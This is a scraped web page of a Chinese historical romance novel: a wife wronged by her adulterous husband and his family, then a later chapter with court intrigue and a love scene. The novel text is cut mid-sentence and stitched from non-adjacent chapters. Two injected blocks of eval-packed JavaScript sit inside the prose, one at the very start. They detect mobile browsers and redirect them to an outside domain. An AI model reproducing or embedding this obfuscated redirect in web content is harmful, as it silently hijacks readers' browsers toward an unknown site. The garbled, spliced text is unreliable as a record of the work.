d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688769|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家吃的都一样,你看看大少爷,大少爷可是咱们府里的嫡长子,他都吃得了素斋,就你个乡下来的孩子还娇贵挑剔上了,再哭闹,回头又叫外人说咱们奶奶苛待你,坏了奶奶名声,那你从哪儿来的,就回哪儿去……” “乡下来的”,“娇贵挑剔”,“外人”几个词,无一不是在扎赵漫仪的心。 自己儿子被贬得一无是处,还说她是外人! 赵漫仪心口抽疼,她的骏哥儿…… 早晚有一天,她要赵清仪成为下堂弃妇!到那时候,自己就能和骏哥儿光明正大地母子团聚。 赵漫仪咬牙抹了把泪,出了相国寺,她再控制不住自己的情绪,一路哭着回京,这次她又在李彻回府路上堵着。 一见面就扑上去,对着李彻胸口一阵捶打。 “你不是说要给骏哥儿请最好的乳娘,怎么到现在骏哥儿身边也没人照顾?你是不是整日只知道往玉袖那个贱人房里钻,压根没把骏哥儿的事放在心上?” “你说啊!你说啊!” 赵漫仪疯了似的,又哭又打,李彻怕极了,索性开了街门一角,直接把人带进去,拽到一处无人经过的墙根下。 李彻脸色彻底冷下,低声怒吼,“你干什么?疯了?” 赵漫仪本就是寻他发泄心中不满的,乍然被凶,愣了半晌,又开始揪着他的衣襟哭,“你个没良心的,你还我儿子!你还我儿子!” 李彻只觉得她莫名其妙,一把推开她,“够了!别发疯了!” 说完,兀自整理好衣衫,“我让你想法子,叫你爹在官场上多帮我说些好话,你不也没办成吗?” 他一回京就被停职在家,无奈外出与昔日同僚应酬,却处处碰壁,无人理会,那些本就不如他的同僚现在各各升官,在京中混得如鱼得水。 反观自己,昔日探花郎被外放岭南三年,回来以后还什么也不是,没少被人嘲讽,叫他如何咽得下这口气? 李彻心里烦闷,又被赵漫仪堵上,更烦了。 赵漫仪哪里知道这些,她一门心思全牵挂在儿子身上,“我今日在相国寺,亲眼看着赵清仪那个贱人苛待骏哥儿!你儿子都快被磋磨死了,你还只顾自己的仕途!” 她音量陡然拔高,李彻害怕这些话被下人听去,当即就要去捂赵漫仪的嘴。 赵漫仪一心只想倾诉自己的委屈,直接打落李彻的手,二人争执间面纱坠落,露出那张满是红疹的面容。 李彻倒吸一口凉气,别过脸去。 上回见到这张脸还是深夜,瞧得不算真切,今日一看,实在渗人。 赵漫仪也吓到了,慌忙捡起面纱遮挡,口中还在倾诉哭泣,“我的骏哥儿身边没人服侍,他才三岁,赵清仪连口荤腥都不让他吃,这才几日,我的骏哥儿就消瘦了一大圈……” 赵漫仪嘤嘤哭泣,大颗大颗的泪水滚落。 其实单看眼睛她是美的,只是方才她满脸红疹的样子已经被李彻看到了,他便无法对这朦胧含泪的眼睛生出怜惜。 “好了好了,我知道了,你先回去。”李彻着急打发她走,“我事务繁忙,晚些我再同她说……” “不行!”赵漫仪已经不相信他了,“你把骏哥儿还给我!不然,我们就像从前那样,你在外头赁个宅子,我和骏哥儿……” “别闹了。”李彻烦不胜烦,心力交瘁,“你当我们还在岭南吗?如今我回来了,我娘不会再给我送钱,没有钱,我去哪里给你赁座宅子?” 赵漫仪似乎还不清楚李府的状况,抓着李彻的手,“赵清仪有钱,你找她啊!” 李彻觉得没法沟通,“再说吧,你先回去……” 小厮青石把这门,见状拉开一道门缝,等着李彻把人推出去。 “李彻!” 赵漫仪忽然尖声喊道。 20. 第 20 章 刚从外院经过的管事妈妈听着声音,蓦地停下脚步,狐疑地问,“是大爷回来了?” 李彻再顾不得其他,硬是把人推了出去,青石关上门的瞬间,管事妈妈正好走过来,见到他忙行礼,“果然是大爷回来了,方才是何动静?奴婢好似听见……三、三小姐的声音?” 赵漫仪在门外,原本还要叫嚣,这会儿听到管事妈妈的声音,当即不敢再出声。 “你听错了。”门内,李彻觉得自己没必要同一个下人解释,轻咳一声转移话题,“你们大奶奶呢?” 尽管心中怀疑,管事妈妈也不敢再问,忙道,“奶奶和老太太刚从相国寺回来,不过是从后门进的府,所以没和大爷碰上,眼下准备用膳了。” 李彻暗暗松了口气,还好错开了,若是在正门遇上,让赵清仪看见他和赵漫仪纠缠,他可就麻烦了。 想到自己与赵漫仪的私情,又想到三年来赵清仪操持家业的辛苦,李彻诡异的生出一股歉疚想补偿的心,便顺着管事妈妈的话说,“正好我腹中饥饿,你去揽月阁通传一声,就说我更衣后过去。” 管事妈妈面上一喜,忙不迭应下。 门外,赵漫仪听着李彻的脚步声远去,心中再不甘也只能愤愤回到赵家,就在她走后不久,另一道身影从拐角的阴影里走出来。 李衡薄唇紧抿,秋闱在即,他大多时候都在府学里待着,却不想今日回府,就听到了不该听的。 想到李彻竟与赵漫仪是这种关系,甚至背着嫂嫂有了孩子,李衡提着书箱的手都在隐隐发颤,一双黑眸愈发幽深。 嫂嫂……该有多难过啊。 — 李彻要来用膳的消息递到揽月阁,赵清仪便知道今晚不好过了,正想该如何拒绝,李彻后脚便到,一进门就大喇喇坐在圆桌上。 檀月与俏月对视一眼,只好摆上碗筷。 赵清仪是嫌弃的,并不想与他同桌用膳,便推说要去看看李骄的课业,经过李彻身旁时,对方眼疾手快抓住她的手腕。 那只手冰冷异常,与她的肌肤相触,犹如毒舌舔舐一般令人恶心,赵清仪慌忙抽回手。 她下意识的反应没能逃过李彻的眼睛,他薄唇抿成一条直线,肉眼可见的不悦,“坐下。” 赵清仪就站在门边,“大爷自个儿先用吧……” “我叫你坐下。”李彻声音冷了下去,几乎是命令的口吻。 室内气氛陡然凝结,两个婢子站在一旁,大气不敢出。 现在还不到翻脸的时候,赵清仪忍了又忍,往后退了两步,坐在李彻对面,也没有要一起用膳的意思。 李彻打发走两个婢子,屋中只剩夫妻二人,他拿起筷子,“我知道你把玉袖接回来安的什么心,你是不想我来你院里。” 被人揭穿,赵清仪依旧气定神闲,杏眸淡然,“她是你的陪房,又为你生了骄儿,接回来,理所应当。” “可骄儿始终不是你我所生的嫡子。”李彻吃饭的动作很慢。 赵清仪闻言不语。 半晌等不到回应,李彻抬眸,视线落在她那张雪白的小脸上。 不得不承认,赵清仪生得极美,时下偏爱弱柳扶风,细面雪肤,譬如赵漫仪,肌肤雪白,眉眼无辜,便有种柔弱惹人怜的美,只是她那种白是病弱的苍白,唯有赵清仪的白,是发着光的莹白通透,气血红润。 加之她秾丽张扬的五官,配上一张温润的鹅蛋脸,明艳之中透着一股清冷,尤其那微微上扬的下巴,仿佛天生带着高门贵女的挑剔倨傲。 她从未拿正眼瞧过他。 当初,他便是被赵清仪这幅姿态刺痛了心,作为男人,他无法接受一个女人高高在上,处处压他一头,尽管这个女人是他的妻,是给他带来无数财富,且能让他仕途无忧的妻,他还是无法从内心深处去爱她。 只有赵漫仪和玉袖那般的温柔讨好,更得他心。 只是今日不知怎的,盯着赵清仪这张脸,他忽然生出一股强烈的征服欲。 他要折了赵清仪这份高高在上,他要她臣服于他,倾心于他。 李彻打定主意,搁下碗筷缓缓道,“今夜,我们圆房吧。” 他能感觉到赵清仪在刻意疏远冷落自己,可赵清仪的父亲赵怀义即将回京升入内阁,若能讨得赵怀义的欢心,于自己仕途大有裨益,说不定自己就能回到翰林院。 而一个女人,一旦交出身子,就会全心全意为丈夫付出,他更不能放任赵清仪冷着自己,必须尽快圆房,才好为之后的事做打算。 赵清仪隐约猜到了李彻的想法,她双手交叠搁在腿上,慢慢攥紧,“我在相国寺祈求佛祖菩萨保佑李家,已发愿茹素斋戒三个月,这段时日,怕是要让夫君失望了。” 她的推三阻四,让李彻憋了一肚子火气,“我李家需要的是你我所出的嫡子,而不是什么神佛保佑!” 他的发怒,总算让赵清仪微微偏头看了过来,只是那眼底始终平静,宛如深不可见的寒潭。 “夫君抱着那个孩子回来的时候,不是还说心疼我,怜惜我,不愿我受生育之苦?” 她越是冷静,他越像个疯子。 就像他对待赵漫仪那般。 李彻一愣,想起那些话是她劝赵清仪过继骏哥儿时所说的,“最后你不也没接受骏哥儿那个孩子……” “是,但我现在有了骄儿,夫君还要如何?” 李彻被她呛得说不出话来,半晌,像是为了找补颜面,他站起身,“即便不是为了孩子,你我也是夫妻,夫妻之间,哪有一直分房睡的道理?” 赵清仪再次沉默。 李彻思忖半晌,径直走到内室坐在床边,命令她,“我乏了,过来为我宽衣。” “……” 他就非要来恶心她是吗? 赵清仪面上掠过一丝杀气,她缓缓拔下头上的金钗,用力握在手中,若真到了那一步,她宁可刺伤李彻,也绝不重蹈前世覆辙。 就在她抬脚准备走过去,檀月及时进来,福了福身,“奶奶,老太太那边差人请您过去,要与您商议姑奶奶的嫁妆。” 内室中的李彻不悦皱眉。 赵清仪瞬间清醒过来,她眸中杀意散去,重新插好金钗,快走了出去。 与他同在一个屋檐下多待一刻,她都觉得晦气。 到院门口时,她特意吩咐俏月,“等人走了,把他用过的碗筷,还有碰过的床褥丢出去,换新的。”之后便领着檀月往琼华堂去。 站在院门口的罗妈妈竖起耳朵听,瞧见后头黑沉着脸出来的李彻,隐约猜到大爷与大奶奶吵架了。 赵清仪也不避讳,“罗妈妈,还不带路?” “是是,大奶奶请。”罗妈妈点头哈腰,打定主意一会儿就去告诉老太太。 赵清仪去到琼华堂,便见屋里头堆了几只箱笼,说是忠勇伯府补送给李素素的见面礼,母女俩围着箱笼,对里头的宝贝爱不释手。 赵清仪并不感兴趣,只随意扫了眼便问,“婆母,你找我有事?” 听到她的声音,母女俩恍然反应过来,飞快合上箱笼,像是怕赵清仪瞧见会夺去似的,檀月见此情形暗自翻了个白眼。 罗氏清了清嗓子,“连夜唤你过来是这样的,方才伯府的人来给素素送礼,已经决定后日便来府上提亲,咱们也是时候商量商量素素的嫁妆。” 赵清仪长睫微垂,“此事婆母心中有数,自会准备,又何必唤儿媳前来?” “啧。”罗氏不满地瞪了她一眼,“那伯府是什么门第?上京鼎鼎有名的勋贵人家,素素若要嫁进去,这嫁妆肯定不能少,若是少了,岂不被伯府之人轻看了去?” 赵清仪佯装听不懂,认真点头,“婆母所言有理,不如找夫君来与您商议可好?” 她作势要打发下人去请李彻过来,罗氏赶紧阻止,“喊他作甚?他如今入了翰林,今非昔比,要应酬的事多着呢,区区后宅之事就不必喊他了。” 赵清仪略一沉吟,有些为难,“……婆母还是与夫君商量吧,毕竟这三年来夫君从未与我交家用,夫君的俸禄也从未经我之手,我怕是不好替小姑置办嫁妆。” 她没找李彻清算这三年来的账目便算了,居然还想要她出钱给李素素置办嫁妆?痴人说梦。 罗氏脸色陡变,“你怎么能这样?彻儿他身为长兄,自会替素素备下她那一份,可你身为素素的长嫂,难道不该有所表示?” “就是啊。”李素素颇为不满,站起身道,“好歹我也喊了你这么多年的嫂嫂,临到我出嫁了,嫂嫂也该为我添妆,待我到了伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692874|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府,也好说得过去呀。” 她亲亲热热上前抱住赵清仪的胳膊,“嫂嫂,我这嫁的不一般,那可是忠勇伯府,将来待十三公子袭爵,我就是伯府夫人,届时自然也少不了嫂嫂的好处。” 有什么好处赵清仪不知道,也不屑知道,她淡笑着抽回手,“罢了,就看夫君如何添妆,我到时比夫君略薄一些就是,毕竟夫君为大,我总不好越过他去。” 罗氏与李素素的脸色再次一变,她们自己的儿子兄长,手头有几个钱她们能不清楚吗? 就是因为没有,才开口要赵清仪添妆的,这下倒好,又把皮球踢回来,李素素已经生气了,冷哼一声坐回去。 罗氏为了女儿,暂且忍了下来,温声劝道,“好儿媳,话也不能这么说,彻儿的情况你也知晓,俸禄不多,在外头又少不了与人结交,处处都得花银子,要他为素素添妆只怕太过为难了。” 罗氏生怕赵清仪走了,忙把她按在座位上,又亲自给她端了一盏茶。 自从赵清仪管家,罗氏院里就没什么好茶,是以她并未受用,而是让檀月接过,搁在一旁。 赵清仪叹了口气,“不是儿媳不愿意,只是不巧,儿媳手中那点银钱,前段时日都投到铺子里去了,一时半会儿也回不来。” “不急不急,待提亲后还得卜算出嫁吉日,并不急在这一时半刻的。” 罗氏以为她有松口之意,诉说起当年养育子女的辛苦,“这些年我为了这对儿女费劲心力,家中那点薄产全供彻儿科举入仕,才换来彻儿如今这番地位。” “你身为他的妻子,将来是要随他步步高升的,说不准一朝得封诰命,那可就是享不尽的荣华富贵,我这做母亲的含辛茹苦半辈子,可都成全你了呀。”罗氏说得长吁短叹。 这番话,和上辈子如出一辙,那时赵清仪信了,也心疼婆母与丈夫的不易,从自己嫁妆里出了不少钱为李素素压箱底,可结果呢? 李彻一朝平步青云,她便猝然“病死”,想到自己死后成全了李彻与赵漫仪这对狗男女,还让罗氏平白占了她全部嫁妆,她便恨不得撕了这些人,如今这些话,她半个字都不会信。 罗氏只顾自己抹眼泪,全然没注意到赵清仪的表情,诉了苦不忘教训两句,“你作为李家妇,一是要理解丈夫与婆母的辛苦,二来也要为咱们这个家操持,素素是你丈夫唯一的亲妹妹,她若嫁得好,将来对你丈夫的仕途也有裨益。” 罗氏啰啰嗦嗦说了一堆,赵清仪点头附和,“婆母说的很是在理,如今看来,小姑若嫁得好,夫君最是受益,此等好事不可不与夫君商议,依儿媳拙见,不若就将李家老宅卖了,换的银钱就给小姑添妆如何?” “赵氏!” 罗氏拍案而起,敢情她说了半天口都干了,赵清仪就是这般曲解她的意思?老宅更是她李家如今唯一的祖产,怎可变卖? “你还揣着明白装糊涂,别以为你出身高门就能在我面前放肆!我是你婆母,彻儿是你夫君,你既已嫁进李家,就与我们是一条船上的蚂蚱,你不帮也得帮!” 罗氏撂下狠话,将自己事先拟好的嫁妆单子甩在赵清仪面前的桌案上,“这是我粗粗拟好的单子,里头的东西都是从前素素用过的,横竖你也用不上,索性拿出来。” 赵清仪打开一看,果然是之前她命人从李素素房里搬走的东西,甚至还额外添了几样她库房里的珠宝玉石等物,末尾还注明,白银三千两。 檀月侧头一目十行看过去,气得脸都白了,她不如俏月泼辣,此刻也愤愤出声,“你们这是明抢啊!” 话音刚落,李素素便打了檀月一记耳光,“你个贱婢,这哪儿有你说话的份?” 檀月生生挨了一下,雪白的俏脸顿时浮起一个巴掌印,眸中既震惊又恼怒。 身为赵家的家生子,自幼陪伴赵清仪左右,饶是赵家的夫人老爷都不曾打过她,如今,她居然被李素素打了。 外头的罗妈妈大惊失色,直觉不妙,慌慌张张跑去寻李彻。 而琼华堂内,几乎是巴掌声落下的瞬间,赵清仪一拍桌案,蹭地从椅子上站起,她将檀月拽到身后,站定在李素素跟前。 赵清仪唇边溢出冷笑,还是一派端庄优雅的姿态,随后就在对方惊疑不定的目光中,反手一巴掌扇了回去。 50-60 第51章 第51章“我慢一点……” 也不怪赵清仪多心,前车之鉴犹在,当初她便因一时大意,才让赵漫仪在她房门口偷听了不该听的。 她默默留了个心眼,出去时招来仆婢问话,可惜关于二叔何时来的,又是否在院外逗留过,仆婢们皆是一问三不知。 当日傍晚,赵怀良刚离了兄长的书房不久,王家便收到一封密信,王次辅展开细看后,带着鞋印的老脸阴沉如铁。 陛下独独派赵怀义赴浙,果然不止赈灾济民这般简单,居然还带了一份密旨。 聚在王次辅身边的幕僚官员忧心忡忡,“江浙一带乃我等根基,陛下若真存了在浙江试行新政的心思,岂不意味着我等已先失了圣心?” 换言之,陛下视他们为眼中钉,欲除之而后快,整顿浙江官场,便是要断他们的臂膀,“我们不能坐以待毙!” “事已至此,恐难挽回。”王次辅将密信投入香炉,火苗腾起,将他阴鸷的面容映得忽明忽暗。 身为臣子,明着忤逆圣意是自取灭亡,那就只能……让陛下知难而退。 “既然流言拦不住赵怀义的脚步,那便让他去。”王次辅眼中寒光一闪,“只要他敢踏足浙江,我定叫他……有去无回!” 他就不信,躲过一回两回,还能让赵怀义躲过第三回。 王党纷纷附和,赞王次辅手眼通天。 远在上京,还能在浙江布下天罗地网,可不就是有通天的本事。 王次辅不自觉飘飘然起来,捋着长须微叹,矜持中带着一丝轻蔑,“陛下到底还是年轻气盛啊。” 以为在边关打过几场胜仗,这朝堂官场便能任其翻覆?笑话。 这大梁,只会是世家望族的天下。 而赵怀义这个吃里扒外的东西,世家眼中的败类,注定不会有好下场! — 赵清仪今夜沐浴得早,温热的水流包裹着身体,她阖上眼,脑海中不由自主回想昨日楚元河说的话。 昨日事情太多,他夜里未曾出现,不知今日是否会来。 反正她特意提前了时辰沐浴,总不能再如上次那般尴尬。 水汽氤氲中起身,赵清仪换上一袭素色裹胸长裙,肩上松松垮垮罩着轻薄的缂丝罗衫,湿润的发尾用细棉布包着,赤足绕过屏风,就见一道玄色身影坐在桌前,背对着她,慢悠悠吃茶。 “……” 赵清仪压下翻涌的悸动,“你……来多久了?” 楚元河这才侧身,笑得无害,“也没多久,约莫是……檀月俏月刚出去那会儿。” 赵清仪沐浴素喜清静,备好水与香露后,两个婢子就会退出去。 他这么早就来了,那岂不是…… 羞恼之意又涌了上来,她索性头发也不擦了,攥着那块干布便朝楚元河兜头扔去。 楚元河眼疾手快,一把抄住,随即起身走近,按着她的肩让她坐下,又熟稔地挑起她一缕湿发,慢条斯理擦拭起来。 “别生气了。”分明是第一回干这种事,他上手却格外的快,一边擦一边歪头打量赵清仪的脸色,“我发誓,真不曾偷看。” 赵清仪脸色稍霁,“不劳烦郡王,我自己来。”说着便要夺回那布。 楚元河手腕一翻避开,“怎么,这点活都不肯让我效劳?” 眼看她又要搬出身份尊卑那套,楚元河轻哼一声,“口口声声不敢劳烦,巴掌都敢往我脸上招呼,方才还拿布砸我。”说到后面,语气隐隐透着委屈。 赵清仪眉心一跳,行,她闭口不言总行了吧。 楚元河却不依不饶,“怎么又不说话了?” 他理直气壮的样子反倒把赵清仪气笑了,“横竖我说了不对,不说也不对。” “那便说些我爱听的?”楚元河反问,手上丝毫不含糊,也不知他怎么擦的,赵清仪头发干得比平常要快。 她无意识地把玩一侧垂落的发梢,心情好转了些,甚至生出几分奇异的柔软,她与他,居然会变成这样的关系。 便顺着他的话问,“那你爱听什么?” 楚元河动作一顿,语气幽幽,“……般般,你真擅长明知故问。” 赵清仪抬眸,带着一丝不解,难道她的心意表现得还不够明显? 非要她亲口说出来。 也太矫情了。 室内,蒸腾的热气尚未散去,将二人身影笼罩其中。 楚元河等不到她的回应,沉默下来。 她是不是……还未有那般心悦于他?以至于连一句情话也不肯说。 最后还是赵清仪另起话头,“你脸色瞧着不太好。” 并非他刻意冷脸,瞧着像是没睡好,眼底有两团轻微的乌青,不过他生得好看,即便眼下乌青,依旧难掩他的俊逸风华。 难得她一句关怀,楚元河压下嘴角,闷闷嗯了声,心底却暗暗期待她再多关心几句。 “没睡好,就不必来了。” “……”楚元河眸色幽怨。 赵清仪拿起他用过的茶杯,为他续上温水,撞见他这幅表情,才惊觉自己的话有歧义,轻咳一声道,“……我是说,你该在府中好生歇息几个时辰,不必夜里前来。” 说完,又觉不妥,严谨地补充道,“白日……最好也别来。”白日人多,院里仆婢成群。 结果是越描越黑,怎么听都透着拒人千里的意味。 楚元河面上郁色更浓,波光潋滟的桃花眼黯沉下去,几乎透不进一丝光亮,可怜又带着点危险的压迫。 赵清仪觉得,自己还是闭嘴吧。 “你若厌烦我,直说便是。”楚元河把手里的干布往桌上一抛,发出一声不轻的闷响,可见心情差到极点。 生气了? 赵清仪杏眸眨了眨,难得露出一丝无措,真是难到她了,她两辈子都没学过怎么哄人。 楚元河这样子,不理睬又不行。 “我说话不好听,你别往心里去。”她斟酌片刻,侧过身,离他近了些,将自己的手覆在男人青筋凸起的手背上,指尖试探般蜷了蜷,“这样……好些了吗?” 楚元河花瓣似的薄唇终于微微扬起一抹弧度,“勉勉强强吧。” 还算给面子。 赵清仪暗暗想着,也不自觉嘴角上扬。 好像……哄*人也不是很难? 楚元河深谙得寸进尺之道,手背一翻,掌心向上,不由分说扣住她的手,执拗地让每一根手指都穿过对方指缝,来个十指相扣。 他的掌心总是热的,捂得赵清仪手心滚烫,又不好挣扎。 罢了,能稳住他就行。 赵清仪收回目光,不再看他。 楚元河粗粝的指腹在她手上细细摩挲,“赵大人不日要启程去浙江,你……可会不舍?” 他没有提前试探过赵清仪的心意,便私自定下此事,虽是为公,他的心里还是觉得愧对赵清仪了。 赵清仪当然舍不得,不过父女商议过,朝廷此举,一是倚重父亲,二也是无奈,真正支持新政者寥寥,可堪重用的更没几个。 “你就因为这个睡不安稳?”赵清仪嗓音轻柔,自带一股安抚人心的力量,听得楚元河心头微暖。 他就知道,赵清仪的眼光格局不止于此,他点头,“只是其一,毕竟他是你父亲,此去颇有凶险,我不想你担惊受怕。” 实情远不止于此,太皇太后也去紫宸殿找过他。 呈到御前的奏疏里有不少要求他处置赵怀义,他不想理,太皇太后又在此时施压,最后那些折子被他以雷霆手段强压下去,为此他也是焦头烂额。 楚元河倒是挺想一道圣旨,将这些所谓的清流世家全部铲除,无奈世家屹立多年,势力盘根错节,牵一发而动全身,就如浙江推行新政一事,就牵扯到了太皇太后的母家利益。 “此事非你我能左右。”赵清仪表现得异常通达,句句皆是体谅,“陛下有此决定,我不意外,况且我父亲所为,乃利国利民的大事,纵有危险,也是他的职责所在。” 楚元河凝视着她柔和的侧脸,这一刻,对方在他眼中仿佛笼着一层圣洁的光晕,无关容色,是种源于心性的无与伦比。 不得不说,赵家将这个女儿教养得极好,上能体恤朝局之艰,下能怜悯百姓之苦。 在他心里,也是国母的不二人选。 “你说的对,新政确实利国利民,但就怕民间百姓不懂,被有心者挑拨煽动,阻挠新政推进。”所以他能以赈灾之名派赵怀义前去,不敢大张旗鼓打着新政旗号。 不过随口一说的烦恼,赵清仪却听了进去,认真思索片刻,有了主意,“不是快到殿试了吗?” 可以趁着殿试,让陛下亲自考察这批人的品行才干,择其能者,联合府学士子共办新政学堂,宣讲新政真义,剖析其如何惠及民生。 “……他们都是新科进士、同进士出身,乃天下文人学子表率,由他们向百姓阐发新政,必能引领风气,如此一传十,十传百,还怕大梁的百姓不懂何为新政?” 楚元河眼中异彩连连,觉得此法甚妙,“还有呢?” 还有…… 赵清仪歪着脑袋作思索状,无意识把玩着手中盛满水的茶杯,“若求速达民间,这传布之法也需别出心裁。” 文人关心时局是本能,因为涉及自身及家族利益,但大多百姓在乎的只有自己那一亩三分地,终日劳碌于田亩间,对文绉绉的东西接受有限,新政学堂,效用多在读书人。 “你觉得,将其排演成戏如何?” 这是赵清仪能想到最通俗的法子,待父亲在浙江初显成效,即刻将新政推行的结果与好处编成戏文,广雇戏班于市井乡间传唱,效果来得更直接。 “若能赢得民心,让百姓看到朝廷变革的决心,看到新政为他们带来了实实在在的好处,他们便会自发拥护新政,届时陛下再推行全国,便是水到渠成。” 正所谓得民心者得天下,如此一来,反对新政的世家权贵即便想从中作梗,也会投鼠忌器,至少明面上不敢过于放肆。 赵清仪说得认真,完全没发觉身旁的男人已经越靠越近,等她反应过来时,二人已鼻尖相对,气息交缠。 赵清仪一惊,手里把玩的茶杯倾倒,茶水霎时浸透了绸缎桌帏,淅淅沥沥淌落。 她纤细的脊背抵着桌沿,无形的压迫令她本能地后仰躲避。 楚元河的大手却穿过她身后垂落的青丝,稳稳扣住她的后脑勺,不让她有半分躲闪的余地。 “般般……”楚元河抵着她的眉心,语气无奈又带着诱哄,“良宵苦短,我们做些应做之事,不要谈其他了。” 赵清仪娇躯微僵,不敢乱动,“明明是你挑起的话头……” 这次她声音都变了,是让她自己都觉陌生的娇柔,三分嗔怨,七分无辜。 “那就到此为止。”楚元河被她勾得心尖麻痒,高挺的鼻梁在她鼻尖缓慢厮磨磨蹭,动作很慢,喉间不时溢出几声令人遐想的喟叹。 明明还什么都没做呢。 赵清仪眼睫急颤,不敢直视面前这张放大的俊脸,离得实在太近了,总容易让她胡思乱想。 可她强迫自己不去看,却无法阻隔那些旖旎的声音入耳,“你能不能……不要发出奇怪的声音?” “嗯?” 楚元河不解,亲昵的磨蹭她,“何谓奇怪的声音?” 这……怎么描述? 赵清仪差点被哄着当场学两声,好在她不算理智全无,只是脑海里已经不由自主回溯前夜种种。 那时她们也是离得这般近,他的唇含住了她的耳垂,吻过她的脸颊,她的脖颈…… 赵清仪忽然觉得浑身燥热,心脏跳得极快。 所以他现在,也是要吻她吗? 楚元河身量究竟高出她许多,即便鼻尖相抵,她仍需微微仰起脸,双颊映着烛火,绯红如霞。 她在隐隐期待,楚元河看得出来,这算不算……已有几分喜欢他了? 不,似乎还差一点。 他喉结微动,到底忍住了。 气氛已然烘托至此,赵清仪已经被撩拨得有些头昏脑涨,却没能等到预想中的亲吻。 楚元河抬起身子,拉开那令人窒息的咫尺距离,那种密不透风的压迫感瞬间淡去,反倒有一股凉气钻进来,冲散了赵清仪脑海中的旖旎。 她茫然,继而困惑,随后是巨大落差带来的羞恼。 他是在逗弄她吗? 若即若离,欲擒故纵? 赵清仪脸皮薄,为自己的浮想联翩感到羞耻,又为他撩而不动微微愠怒,明明是他争着抢着要做她的人,现在反过来与她玩弄手段,他不再问她要答案了吗? 赵清仪第一感觉自己无意间放出的鱼线断了,对方似乎不打算陪她继续这场追逐。 楚元河没错过她神色上的细微变化,无声勾了勾唇角。 人就是这样,太轻易得到的便不会珍惜,他要的是她的珍惜,她的怜爱,就不能让她觉得自己的情意可以被轻贱。 赵清仪果然上钩了,水光流转的杏眸盯着他,用眼神质问他,就这样? 楚元河挑眉,义正辞严,“我可是很有原则的人,你没答应,我怎敢乱来?” 虽然上回从她屋里出去时,他还在心里信誓旦旦地说,下次绝不放过她,真到了这一刻,他又改了主意。 不能总是他剃头担子一头热,无甚趣味,男.欢.女.爱,要的是情投意合,不是他的独角戏。 赵清仪无意识地攥紧寝衣的下摆,很想问一句,你乱来得还少吗?现在又矜持上了。 这种被撩拨后又莫名其妙被推开的感觉并不好受,赵清仪腹中像是烧了一把火无处发泄,索性起身把人推到窗户下。 “你出去。” 楚元河脚下趔趄,脑中懵了一瞬。 不是……这和他预料的相差甚远,难道他撩拨了这么久,还是没能乱她意志? 他一把攥住赵清仪的手腕,声音几乎是从齿缝挤出,“你就不能……”就不能服软一次,主动一次,开口索求一次? 他想要个肯定的答案,要她坚定的选择。 但话到嘴边,楚元河又咽了回去,前所未有的挫败感。 “罢了……” 下一瞬,赵清仪反手扣住他的腕,也不知她是怎么做到的,又或许是楚元河根本没想过反抗,高大健硕的身躯,轻易被眼前的女人推搡着,后背重重撞上了冰凉的窗棂。 他猝不及防,上半身因着惯性朝后仰倒,未免摔出去,他只能仓促张开双手扶住两边的窗框。 赵清仪趁机压住他锦袍下结实笔挺的腿,素手捧起他的脸,朱唇微压,终于如愿以偿覆了上去。 她想要的,必须得到。 两世为人,赵清仪从未对哪个男子主动过,但这次她承认,她色令智昏了,她喜欢这幅皮囊,贪恋与他亲近的滋味。 是他先主动撩拨她的,不怪她。 赵清仪轻吻着男人的唇,那是与他格格不入的柔软,带着他独有的清冽气息,令人沉溺。 那一刹,楚元河扶着窗框的手猛然收紧,藏在衣衫下的肌肉瞬间虬结紧绷,血液仿佛轰然冲上头顶,激得他面红耳赤。 他努力克制自己的呼吸,生怕惊扰了好不容易迈出这一步的女人,僵硬地维持着这个别扭的姿势,任对方予取予求。 赵清仪没让他失望,一如既往的胆大,只是长大后的她,对待他的情意总是多了一丝不必要的小心谨慎,需要反复掂量审视。 能迈出这一步,可见他已经住在她心里了。 万籁俱寂中,楚元河听到了自己震耳欲聋的心跳。 她真的……吻他了。 直到那柔软微凉的触感真切地印在唇上,辗转厮磨,楚元河才敢相信,这并非又一场幻梦。 它真真切切发生了。 楚元河沉寂如死水的心湖骤然溅起涟漪。 赵清仪却苦恼上了,她不知接下来该如何是好,是继续吻下去吗?会不会显得她太不矜持? 明明之前,她言辞拒绝过他好多次。 赵清仪都没想到,这意乱情迷的关头,她还能分心想这些,就在她准备算了,欲从那诱人的唇上退开时,楚元河撑着窗框的手猛然回拢,环住她的纤腰,轻而易举地她整个抱起。 他身形高大,抱着她如同抱起孩童,没有丝毫技巧可言,纯靠一把子力气和体型上的绝对优势,抱起来后,甚至还向上掂了掂。 赵清仪低声惊呼,本能搂紧对方的脖子,唯恐跌落。 楚元河抱着她大步走回内室,放到拔步床内,膝盖挤进她的裙摆,将她困在床头上,这次,换他扣住她的后脑吻了起来。 赵清仪觉得又不一样了,他的唇瓣不再是清冽柔软的,异常滚烫,力道也重,在她唇上肆意辗转,是极少在她面前表露过的强硬。 甚至他的肢体亦充满力量,膝盖压住她的宽大华丽的裙摆,仿佛将她钉在这个位置上,双臂环绕,将她牢牢困在这方寸锦榻之内,没有一丝一毫挣脱的余地。 楚元河并无太多技巧,他只知道怀里是他魂牵梦绕的女人,对于心心念念喜爱的人,他唯有最原始的本能。 属于男人的本能。 他狠劲儿厮磨,吮.吸,随后撬开她的花瓣似的红唇长驱直入,与她舌尖相会。 被侵入的刹那,赵清仪脑中一片空白,她徒劳地扶着他的肩,仰面承受他的追逐,发出了娇娇颤颤的轻哼细吟。 比他先前的喟叹,更加羞人。 